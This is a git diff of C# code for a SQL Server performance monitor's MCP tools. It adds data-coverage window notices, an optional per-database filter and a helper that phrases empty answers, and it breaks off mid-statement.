index 2e0c081d3c..9520307b13 100644
--- a/Lite/Mcp/McpConfigHistoryTools.cs
+++ b/Lite/Mcp/McpConfigHistoryTools.cs
@@ -13,10 +13,32 @@ namespace PerformanceMonitorLite.Mcp;
 /// STORED reads, no live monitored-server hit. Config is captured ON CONNECT (not on a fixed schedule), so
 /// change granularity equals the connect/restart cadence and at least two snapshots are needed before a
 /// change can be detected — the empty result explains this rather than silently returning nothing.
+///
+/// <para>#4966: each tool says where its data starts (<c>effective_start</c>, <c>window_truncated</c>,
+/// <c>truncation_note</c>), from the coverage probe (<see cref="LocalDataService.GetConfigSnapshotCoverageFloorAsync"/>) over
+/// the snapshot view the diff reads (<c>v_server_config</c>, <c>v_database_config</c>, <c>v_trace_flags</c>, on <c>capture_time</c>),
+/// which also counts the snapshot before the window that the diff keeps as its baseline.
+/// A change is stamped with the capture time of the snapshot that showed it, so a first run cannot store a change from
+/// before itself: the oldest change can never be older than the probe's floor, and the plain notice
+/// (<see cref="McpQueryTools.WindowNoticeAsync"/>) is the right one, not the event-time form.</para>
 /// </summary>
 [McpServerToolType]
 public sealed class McpConfigHistoryTools
 {
+    /// <summary>
+    /// #4966: the window notice of one config-change tool. The window is the one the read took
+    /// (<c>windowEnd</c> minus <c>hours_back</c>, which is what <c>GetTimeRange</c> gives for an <c>as_of</c> anchor).
+    /// A data answer over a window of 90 minutes or less starts no probe; an empty one always does.
+    /// </summary>
+    private static Task<McpQueryTools.McpWindowNotice> WindowNoticeAsync(
+        LocalDataService dataService, QueryWindowRelation relation, int serverId, int hoursBack, DateTime windowEnd, string table, bool emptyAnswer = false)
+    {
+        var requestedStart = windowEnd.AddHours(-hoursBack);
+        return McpQueryTools.WindowNoticeAsync(
+            () => dataService.GetConfigSnapshotCoverageFloorAsync(relation, serverId, requestedStart, windowEnd),
+            requestedStart, windowEnd, table, emptyAnswer: emptyAnswer);
+    }
+
     [McpServerTool(Name = "get_server_config_changes"), Description("Gets server configuration change history by diffing sp_configure (sys.configurations) snapshots. Shows which settings changed, their old vs new configured/in-use values, whether the change requires a restart, and dynamic/advanced flags. NOTE: config is captured on server connect (not on a fixed schedule), so changes are detected between connect snapshots and need at least two.")]
     public static async Task<string> GetServerConfigChanges(
         LocalDataService dataService,
@@ -37,12 +59,20 @@ public static async Task<string> GetServerConfigChanges(
             if (rows.Count == 0)
                 return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "server_config")
                     ?? McpHelpers.Status("empty",
-                        $"No server configuration changes detected in the last {hours_back}h. Config is captured on connect, so at least two snapshots are needed to detect a change.");
+                        $"No server configuration changes detected in the last {hours_back}h. Config is captured on connect, so at least two snapshots are needed to detect a change.",
+                        (await WindowNoticeAsync(dataService, QueryWindowRelation.ServerConfig, resolved.ServerId, hours_back, windowEnd, "server_config", emptyAnswer: true)).AsHints());
+
+            var notice = await WindowNoticeAsync(dataService, QueryWindowRelation.ServerConfig, resolved.ServerId, hours_back, windowEnd, "server_config");
 
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's config snapshots start for the window, always present (false and null when
+                   the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 change_count = rows.Count,
                 changes = rows.Select(r => new
                 {
@@ -71,7 +101,8 @@ public static async Task<string> GetDatabaseConfigChanges(
         ServerManager serverManager,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history to retrieve. Default 168 (7 days).")] int hours_back = 168,
-        [Description(McpHelpers.AsOfDescription)] string? as_of = null)
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -81,16 +112,30 @@ public static async Task<string> GetDatabaseConfigChanges(
             var hoursError = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
             if (hoursError != null) return hoursError;
 
-            var rows = await dataService.GetDatabaseConfigChangesAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd);
+            /* #5244: database_name appended LAST (H1). The reader filters the snapshots in SQL before the diff, the way Darling's
+               does; a blank is "no filter". The empty answer names the database it looked at instead of speaking for the server. */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
+            var rows = await dataService.GetDatabaseConfigChangesAsync(
+                resolved.ServerId, hours_back, databaseNames: database is null ? null : new[] { database }, asOfUtc: windowEnd);
             if (rows.Count == 0)
-                return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "database_config")
-                    ?? McpHelpers.Status("empty",
-                        $"No database configuration changes detected in the last {hours_back}h. Config is captured on connect, so at least two snapshots are needed to detect a change.");
+                return McpHelpers.WithDatabase(await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "database_config"), database)
+                    ?? McpHelpers.StatusForDatabase("empty",
+                        $"No database configuration changes detected in the last {hours_back}h{McpDatabaseSelection.ForChosen(database is null ? null : new[] { database })}. Config is captured on connect, so at least two snapshots are needed to detect a change.",
+                        database,
+                        (await WindowNoticeAsync(dataService, QueryWindowRelation.DatabaseConfig, resolved.ServerId, hours_back, windowEnd, "database_config", emptyAnswer: true)).AsHints());
+
+            var notice = await WindowNoticeAsync(dataService, QueryWindowRelation.DatabaseConfig, resolved.ServerId, hours_back, windowEnd, "database_config");
 
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's config snapshots start for the window, always present (false and null when
+                   the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                database_name = database,
                 change_count = rows.Count,
                 changes = rows.Select(r => new
                 {
@@ -129,12 +174,20 @@ public static async Task<string> GetTraceFlagChanges(
             if (rows.Count == 0)
                 return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "trace_flags")
                     ?? McpHelpers.Status("empty",
-                        $"No trace flag changes detected in the last {hours_back}h. Config is captured on connect, so at least two snapshots are needed to detect a change.");
+                        $"No trace flag changes detected in the last {hours_back}h. Config is captured on connect, so at least two snapshots are needed to detect a change.",
+                        (await WindowNoticeAsync(dataService, QueryWindowRelation.TraceFlags, resolved.ServerId, hours_back, windowEnd, "trace_flags", emptyAnswer: true)).AsHints());
+
+            var notice = await WindowNoticeAsync(dataService, QueryWindowRelation.TraceFlags, resolved.ServerId, hours_back, windowEnd, "trace_flags");
 
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's config snapshots start for the window, always present (false and null when
+                   the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 change_count = rows.Count,
                 changes = rows.Select(r => new
                 {
diff --git a/Lite/Mcp/McpConfigTools.cs b/Lite/Mcp/McpConfigTools.cs
index 7cbe5b5f06..f9211ae099 100644
--- a/Lite/Mcp/McpConfigTools.cs
+++ b/Lite/Mcp/McpConfigTools.cs
@@ -70,7 +70,7 @@ public static async Task<string> GetDatabaseConfig(
                         "No database configuration data available. The config collector may not have run yet.");
 
             IEnumerable<DatabaseConfigRow> filtered = rows;
-            if (!string.IsNullOrEmpty(database_name))
+            if (!string.IsNullOrWhiteSpace(database_name))
                 filtered = filtered.Where(r => r.DatabaseName.Equals(database_name, StringComparison.OrdinalIgnoreCase));
 
             /* Taken from the unfiltered snapshot, so a database_name that matches nothing still says when. */
@@ -134,7 +134,7 @@ public static async Task<string> GetDatabaseScopedConfig(
                         "No database-scoped configuration data available. The config collector may not have run yet.");
 
             IEnumerable<DatabaseScopedConfigRow> filtered = rows;
-            if (!string.IsNullOrEmpty(database_name))
+            if (!string.IsNullOrWhiteSpace(database_name))
                 filtered = filtered.Where(r => r.DatabaseName.Equals(database_name, StringComparison.OrdinalIgnoreCase));
 
             var capturedAt = rows[0].CaptureTime;
@@ -186,7 +186,7 @@ public static async Task<string> GetQueryStoreHealth(
                         "No Query Store health data available. The query_store_health collector runs hourly (SQL Server 2016+); a server with no rows either predates Query Store or has not completed a cycle yet.");
 
             IEnumerable<QueryStoreHealthRow> filtered = rows;
-            if (!string.IsNullOrEmpty(database_name))
+            if (!string.IsNullOrWhiteSpace(database_name))
                 filtered = filtered.Where(r => r.DatabaseName.Equals(database_name, StringComparison.OrdinalIgnoreCase));
 
             var capturedAt = rows[0].CaptureTime;
diff --git a/Lite/Mcp/McpDatabaseSelection.cs b/Lite/Mcp/McpDatabaseSelection.cs
new file mode 100644
index 0000000000..d2058129c0
--- /dev/null
+++ b/Lite/Mcp/McpDatabaseSelection.cs
@@ -0,0 +1,42 @@
+namespace PerformanceMonitorLite.Mcp;
+
+/// <summary>
+/// How an empty answer names the databases a read was limited to (#5244 PR3). Darling's twin is
+/// <c>DatabaseFilter.Describe()</c>: the name for one database, "the chosen databases" for two or more, nothing for all, and
+/// its empty-answer sentences are built from those words. Lite's MCP tools take ONE <c>database_name</c> today, so the
+/// many-name branch has no tool caller yet; it exists so a later multi-name Lite read says what Darling says, and a test pins
+/// both apps to the same words.
+/// </summary>
+internal static class McpDatabaseSelection
+{
+    /// <summary>The words for two or more names. Byte-identical with <c>DatabaseFilter.ManyDatabasesDescription</c>.</summary>
+    internal const string ManyDatabasesDescription = "the chosen databases";
+
+    /// <summary>The name for one database, <see cref="ManyDatabasesDescription"/> for two or more, null for none (every database).</summary>
+    internal static string? Describe(IReadOnlyList<string>? names) =>
+        names == null || names.Count == 0 ? null
+        : names.Count == 1 ? names[0]
+        : ManyDatabasesDescription;
+
+    /// <summary>
+    /// How a sentence names the databases a storage read was asked about: null for every database, <c>database 'X'</c> for one
+    /// and "the chosen databases" for two or more (Darling's <c>DarlingMcpObjectStatsTools.DescribeScope</c>). Never a verdict
+    /// about a database the read did not look at.
+    /// </summary>
+    internal static string? Scope(IReadOnlyList<string>? names) =>
+        names == null || names.Count == 0 ? null
+        : names.Count == 1 ? $"database '{names[0]}'"
+        : ManyDatabasesDescription;
+
+    /// <summary>
+    /// What a selection adds to an empty answer's sentence: nothing for every database, " for the database X" for one and
+    /// " for the chosen databases" for two or more (Darling's <c>ForChosenDatabases</c>).
+    /// </summary>
+    internal static string ForChosen(IReadOnlyList<string>? names) =>
+        Describe(names) switch
+        {
+            null => string.Empty,
+            ManyDatabasesDescription => " for " + ManyDatabasesDescription,
+            var one => " for the database " + one,
+        };
+}
diff --git a/Lite/Mcp/McpDefaultTraceTools.cs b/Lite/Mcp/McpDefaultTraceTools.cs
index 33a6fdcc2f..b590012de1 100644
--- a/Lite/Mcp/McpDefaultTraceTools.cs
+++ b/Lite/Mcp/McpDefaultTraceTools.cs
@@ -1,6 +1,7 @@
 using System.ComponentModel;
 using System.Text.Json;
 using ModelContextProtocol.Server;
+using PerformanceMonitor.Analysis.Baselines;
 using PerformanceMonitorLite.Services;
 using PerformanceMonitor.Common;
 
@@ -17,6 +18,24 @@ namespace PerformanceMonitorLite.Mcp;
 [McpServerToolType]
 public sealed class McpDefaultTraceTools
 {
+    /// <summary>
+    /// #4966: the window notice. The window is the one the read took (<paramref name="windowEnd"/> minus
+    /// <paramref name="hoursBack"/>, the same start <c>GetTimeRange</c> gives for an <c>as_of</c> anchor). The probe takes the
+    /// same server clock as the read: the Default Trace stores its <c>StartTime</c> in the monitored server's local time, and
+    /// the probe converts each candidate row to UTC through that clock (#4989), so the floor it names is UTC like every other
+    /// <c>effective_start</c>. The plain form, not the event-time one: the probe reads <c>event_time</c>, the column the read
+    /// windows on, so no row a page shows is older than its floor. A data answer over a window of 90 minutes or less starts
+    /// no probe; an empty one always does.
+    /// </summary>
+    private static Task<McpQueryTools.McpWindowNotice> WindowNoticeAsync(
+        LocalDataService dataService, int serverId, int hoursBack, DateTime windowEnd, ServerClock serverClock, bool emptyAnswer = false)
+    {
+        var requestedStart = windowEnd.AddHours(-hoursBack);
+        return McpQueryTools.WindowNoticeAsync(
+            () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.DefaultTraceEvents, serverId, requestedStart, windowEnd, serverClock),
+            requestedStart, windowEnd, "default_trace_events", emptyAnswer: emptyAnswer);
+    }
+
     [McpServerTool(Name = "get_default_trace_events"), Description("Gets significant server events from the built-in Default Trace: file auto-grow/shrink stalls over 1 second, ErrorLog writes at severity 16+ (a null severity also counts), schema DDL, security audits, and Server Memory Change, each tagged with category, over an event_time window ending at as_of, newest first. Config-change events are excluded: use get_server_config_changes / get_database_config_changes / get_trace_flag_changes instead. Empty: nothing significant in the window, or nothing collected in it; not_collected means this engine has no default trace (Azure SQL Database). <<GUIDE>> Gets significant server events captured by the built-in Default Trace (stored, read-only): data/log file auto-grow/shrink STALLS (over 1 second), severe ErrorLog writes (severity >= 16), schema DDL (object create/alter/delete), security audits (audit-change / DBCC / alter-trace), and Server Memory Change. Each event is tagged with a category. event_time is UTC, the same frame as as_of (the Default Trace stores its StartTime in the monitored server's local clock; this read de-skews it). NOTE: configuration-change events are excluded here — use get_server_config_changes / get_database_config_changes / get_trace_flag_changes for those. Not available on Azure SQL Database (no default trace there).")]
     public static async Task<string> GetDefaultTraceEvents(
         LocalDataService dataService,
@@ -24,7 +43,8 @@ public static async Task<string> GetDefaultTraceEvents(
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of events to return. Default 100.")] int limit = 100,
-        [Description(McpHelpers.AsOfDescription)] string? as_of = null)
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -39,16 +59,30 @@ public static async Task<string> GetDefaultTraceEvents(
                tab's. See McpServerLocalWindow. */
             var serverClock = await McpServerLocalWindow.ClockForAsync(dataService, resolved.ServerId);
 
+            /* #5244: database_name appended LAST (H1). The reader filters in SQL, before the limit below, so total_events and the page
+               are the chosen database's; a blank is "no filter". Events with no database (server-level ones) are in no chosen database. */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
             var rows = await dataService.GetDefaultTraceEventsAsync(
-                resolved.ServerId, hours_back, asOfUtc: windowEnd, serverClock: serverClock);
+                resolved.ServerId, hours_back, databaseNames: database is null ? null : new[] { database }, asOfUtc: windowEnd, serverClock: serverClock);
             if (rows.Count == 0)
-                return await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "default_trace_events")
-                    ?? McpHelpers.Status("empty", "No significant default trace events found in the requested time range.");
+                return McpHelpers.WithDatabase(await McpEngineCapability.NotCollectedStatusAsync(dataService, resolved.ServerId, resolved.ServerName, "default_trace_events"), database)
+                    ?? McpHelpers.StatusForDatabase("empty",
+                        $"No significant default trace events found in the requested time range{McpDatabaseSelection.ForChosen(database is null ? null : new[] { database })}.",
+                        database,
+                        (await WindowNoticeAsync(dataService, resolved.ServerId, hours_back, windowEnd, serverClock, emptyAnswer: true)).AsHints());
+
+            var notice = await WindowNoticeAsync(dataService, resolved.ServerId, hours_back, windowEnd, serverClock);
 
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's default trace data starts for the window, always present (false and null
+                   when the store covered it). No effective_hours_back: the payload's total_events/shown cap is a page. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
+                database_name = database,
                 total_events = rows.Count,
                 shown = Math.Min(rows.Count, limit),
                 events = rows.Take(limit).Select(r => new
@@ -66,7 +100,7 @@ public static async Task<string> GetDefaultTraceEvents(
                     growth_mb = r.GrowthMb,
                     error_number = r.ErrorNumber,
                     severity = r.Severity,
-                    text_data = McpHelpers.Truncate(r.TextData, 2000)
+                    text_data = McpHelpers.TruncateStatement(r.TextData, 2000)
                 })
             }, McpHelpers.JsonOptions);
         }
diff --git a/Lite/Mcp/McpHealthParserTools.cs b/Lite/Mcp/McpHealthParserTools.cs
index 55221c11af..361513709f 100644
--- a/Lite/Mcp/McpHealthParserTools.cs
+++ b/Lite/Mcp/McpHealthParserTools.cs
@@ -24,6 +24,20 @@ namespace PerformanceMonitorLite.Mcp;
 /// never been read answers <c>unavailable</c>, never <c>empty</c>. Before this, eight of the nine answered a
 /// dead session with the same word a healthy quiet hour earns. Darling's twin does the same.
 /// </para>
+///
+/// <para>
+/// #4966: each data answer also says where the data starts (<c>effective_start</c>, <c>window_truncated</c>,
+/// <c>truncation_note</c>, right after <c>hours_back</c>), and each <c>empty</c> answer carries the same three keys
+/// under <c>hints</c>. The probe is the shared coverage floor (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>)
+/// over <c>v_system_health_events</c>: the earlier of the first stored event and the collector's first logged run
+/// inside the window, both read on <c>event_time</c>, the column the nine reads window on. It counts events of
+/// every type, because one collector stores them all, so it describes where the session's capture starts and not
+/// where one category's first hit sits. The event-time form (<see cref="McpQueryTools.EventWindowNoticeAsync"/>) is
+/// not used: a first run of this collector stores events from up to
+/// <see cref="PerformanceMonitor.Collectors.CollectorContext.EventFallbackWindow"/> before itself, but the probe
+/// already reads <c>event_time</c>, so it names such an event itself and no row a page shows can be older than its floor.
+/// <c>not_collected</c> and <c>unavailable</c> answers keep their shape and carry no keys.
+/// </para>
 /// </summary>
 [McpServerToolType]
 public sealed class McpHealthParserTools
@@ -36,6 +50,23 @@ public sealed class McpHealthParserTools
     /// </summary>
     private const string SystemHealthCollectorName = "system_health_events";
 
+    /// <summary>The table the window notice names: the one every read below is served from.</summary>
+    private const string SystemHealthTable = "system_health_events";
+
+    /// <summary>
+    /// #4966: the window notice of one of the nine reads. The window is the one the read took (<paramref name="windowEnd"/>
+    /// minus <paramref name="hoursBack"/>, which is what <c>GetTimeRange</c> gives for an <c>as_of</c> anchor). A data
+    /// answer over a window of 90 minutes or less starts no probe; an empty one always does.
+    /// </summary>
+    private static Task<McpQueryTools.McpWindowNotice> WindowNoticeAsync(
+        LocalDataService dataService, int serverId, int hoursBack, DateTime windowEnd, bool emptyAnswer = false)
+    {
+        var requestedStart = windowEnd.AddHours(-hoursBack);
+        return McpQueryTools.WindowNoticeAsync(
+            () => dataService.GetQueryWindowFloorAsync(QueryWindowRelation.SystemHealthEvents, serverId, requestedStart, windowEnd),
+            requestedStart, windowEnd, SystemHealthTable, emptyAnswer: emptyAnswer);
+    }
+
     [McpServerTool(Name = "get_health_parser_system_health"), Description("Gets parsed system_health health indicators (the sp_server_diagnostics component results) over an event_time window ending at as_of, newest first. Ungated: every parsed event is returned. An empty answer with status empty is a real result: nothing of this kind was recorded in this window. status unavailable with source_observed false is no evidence either way. <<GUIDE>> Gets parsed system_health extended event data: overall health indicators (spinlock backoffs, sick spinlocks, latch warnings, dump requests, non-yielding tasks, SQL vs system CPU, bad pages) captured by sp_server_diagnostics. " + McpToolGuideTopics.SystemHealthEmptyWindows)]
     public static async Task<string> GetSystemHealth(
         LocalDataService dataService,
@@ -59,10 +90,17 @@ public static async Task<string> GetSystemHealth(
                 return await EmptyAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd, SystemHealthParser.SpServerDiagnosticsEvent,
                     "none carried a SYSTEM component result with a timestamp (the other four sp_server_diagnostics components feed the sibling reads)", capturedInWindow: null, lastCapturedAt);
 
+            var notice = await WindowNoticeAsync(dataService, resolved.ServerId, hours_back, windowEnd);
+
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's system_health data starts for the window, always present (false and null
+                   when the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(lastCapturedAt),
                 total_entries = rows.Count,
@@ -98,7 +136,8 @@ public static async Task<string> GetSevereErrors(
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history to retrieve. Default 24.")] int hours_back = 24,
         [Description("Maximum number of entries. Default 50.")] int limit = 50,
-        [Description(McpHelpers.AsOfDescription)] string? as_of = null)
+        [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("Limit to one database. Omit for all databases.")] string? database_name = null)
     {
         var (resolved, error) = ServerResolver.ResolveOrError(serverManager, server_name);
         if (error != null) return error;
@@ -108,18 +147,32 @@ public static async Task<string> GetSevereErrors(
             var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd) ?? McpHelpers.ValidateTop(limit);
             if (validation != null) return validation;
 
-            var rows = await dataService.GetSevereErrorsAsync(resolved.ServerId, hours_back, asOfUtc: windowEnd);
+            /* #5244: database_name appended LAST (H1). The store keeps no database name for these events, so the reader filters in C#,
+               after the severity gate and before the counts and the cap, on the name each error's database_id carried AT THE ERROR'S
+               TIME (#5373, the name the rows show); a blank is "no filter". */
+            var database = string.IsNullOrWhiteSpace(database_name) ? null : database_name;
+            var rows = await dataService.GetSevereErrorsAsync(
+                resolved.ServerId, hours_back, databaseNames: database is null ? null : new[] { database }, asOfUtc: windowEnd);
             var lastCapturedAt = await dataService.GetLastSystemHealthCaptureAsync(resolved.ServerId);
             if (rows.Count == 0)
-                return await EmptyAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd, SystemHealthParser.ErrorReportedEvent,
-                    $"none was a significant severe error (severity {SystemHealthSignificance.SevereErrorMinSeverity}+ and off the benign connection-reset list)", capturedInWindow: null, lastCapturedAt);
+                return McpHelpers.WithDatabase(await EmptyAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd, SystemHealthParser.ErrorReportedEvent,
+                    $"none was a significant severe error (severity {SystemHealthSignificance.SevereErrorMinSeverity}+ and off the benign connection-reset list)"
+                        + McpDatabaseSelection.ForChosen(database is null ? null : new[] { database }), capturedInWindow: null, lastCapturedAt), database)!;
+
+            var notice = await WindowNoticeAsync(dataService, resolved.ServerId, hours_back, windowEnd);
 
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's system_health data starts for the window, always present (false and null
+                   when the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(lastCapturedAt),
+                database_name = database,
                 error_count = rows.Count,
                 shown = Math.Min(rows.Count, limit),
                 errors = rows.Take(limit).Select(r => new
@@ -160,10 +213,17 @@ public static async Task<string> GetIOIssues(
                 return await EmptyAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd, SystemHealthParser.SpServerDiagnosticsEvent,
                     "none was an IO_SUBSYSTEM component result in the WARNING state", capturedInWindow: null, lastCapturedAt);
 
+            var notice = await WindowNoticeAsync(dataService, resolved.ServerId, hours_back, windowEnd);
+
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's system_health data starts for the window, always present (false and null
+                   when the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(lastCapturedAt),
                 issue_count = rows.Count,
@@ -206,10 +266,17 @@ public static async Task<string> GetSchedulerIssues(
                 return await EmptyAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd, SystemHealthParser.SchedulerMonitorEvent,
                     "none was a significant scheduler-monitor sample (SQL CPU, other-process CPU, or memory utilization outside the warning thresholds)", capturedInWindow: null, lastCapturedAt);
 
+            var notice = await WindowNoticeAsync(dataService, resolved.ServerId, hours_back, windowEnd);
+
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's system_health data starts for the window, always present (false and null
+                   when the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(lastCapturedAt),
                 issue_count = rows.Count,
@@ -252,10 +319,17 @@ public static async Task<string> GetMemoryConditions(
                 return await EmptyAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd, SystemHealthParser.SpServerDiagnosticsEvent,
                     "none was a RESOURCE component result carrying a low-memory (RESOURCE_MEMPHYSICAL_LOW) notification", capturedInWindow: null, lastCapturedAt);
 
+            var notice = await WindowNoticeAsync(dataService, resolved.ServerId, hours_back, windowEnd);
+
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's system_health data starts for the window, always present (false and null
+                   when the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(lastCapturedAt),
                 event_count = rows.Count,
@@ -323,10 +397,17 @@ public static async Task<string> GetCPUTasks(
                 return await EmptyAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd, SystemHealthParser.SpServerDiagnosticsEvent,
                     $"none was a QUERY_PROCESSING component result in the WARNING state with at least {SystemHealthSignificance.CpuTaskMinPendingTasks} pending tasks", capturedInWindow: null, lastCapturedAt);
 
+            var notice = await WindowNoticeAsync(dataService, resolved.ServerId, hours_back, windowEnd);
+
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's system_health data starts for the window, always present (false and null
+                   when the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(lastCapturedAt),
                 event_count = rows.Count,
@@ -373,10 +454,17 @@ public static async Task<string> GetMemoryBroker(
                 return await EmptyAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd, SystemHealthParser.MemoryBrokerEvent,
                     "none carried a low-memory notification (broker adjustments that are not a shrink under pressure are routine)", capturedInWindow: null, lastCapturedAt);
 
+            var notice = await WindowNoticeAsync(dataService, resolved.ServerId, hours_back, windowEnd);
+
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's system_health data starts for the window, always present (false and null
+                   when the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(lastCapturedAt),
                 event_count = rows.Count,
@@ -425,10 +513,17 @@ public static async Task<string> GetMemoryNodeOOM(
                 return await EmptyAsync(dataService, resolved.ServerId, resolved.ServerName, hours_back, windowEnd, SystemHealthParser.MemoryNodeOomEvent,
                     "none shredded to a memory-node OOM record (this category is ungated, so a captured OOM event that parsed would be here)", capturedInWindow: null, lastCapturedAt);
 
+            var notice = await WindowNoticeAsync(dataService, resolved.ServerId, hours_back, windowEnd);
+
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's system_health data starts for the window, always present (false and null
+                   when the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(lastCapturedAt),
                 event_count = rows.Count,
@@ -506,10 +601,17 @@ same words.
                     capturedInWindow: captured, lastCapturedAt);
             }
 
+            var notice = await WindowNoticeAsync(dataService, resolved.ServerId, hours_back, windowEnd);
+
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: where this server's system_health data starts for the window, always present (false and null
+                   when the store covered it). No effective_hours_back, as on the other window-floor payloads. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 source_observed = true,
                 last_captured_at = Stamp(lastCapturedAt),
                 wait_count = rows.Count,
@@ -555,6 +657,10 @@ signal close to the total is CPU pressure wearing a wait type's name. */
     /// Database has no session to start), and its text stays exactly right for every engine that does
     /// collect this.</para>
     ///
+    /// <para>#4966: the three <c>empty</c> rungs also carry the window-floor keys under <c>hints</c> (an empty answer over
+    /// a window the store does not reach back to is not a true negative); the <c>unavailable</c> and <c>not_collected</c>
+    /// rung stays bare.</para>
+    ///
     /// <para>Every rung carries the same two witness keys the data envelope carries
     /// (<c>source_observed</c>, <c>last_captured_at</c>) plus the rung's own evidence, at the top level
     /// beside <c>status</c> — the trend family's precedent (#3541 A2): a caller reads the witness without
@@ -572,18 +678,28 @@ private static async Task<string> EmptyAsync(
         var lastOfType = await dataService.GetLastSystemHealthCaptureOfTypeAsync(serverId, eventType);
         if (captured > 0)
         {
+            var notice = await WindowNoticeAsync(dataService, serverId, hoursBack, windowEnd, emptyAnswer: true);
             return WitnessStatus(
                 "empty",
-                $"{captured} {eventType} event(s) were captured for {serverName} in the last {hoursBack} hour(s) and {noneQualifiedBecause}. Events ARE being captured, so this is the healthy answer for this read rather than missing data.",
-                sourceObserved: true, lastCapturedAt, lastCapturedOfTypeAt: lastOfType, eventsInWindow: captured);
+                McpHelpers.QuietUnlessCut(
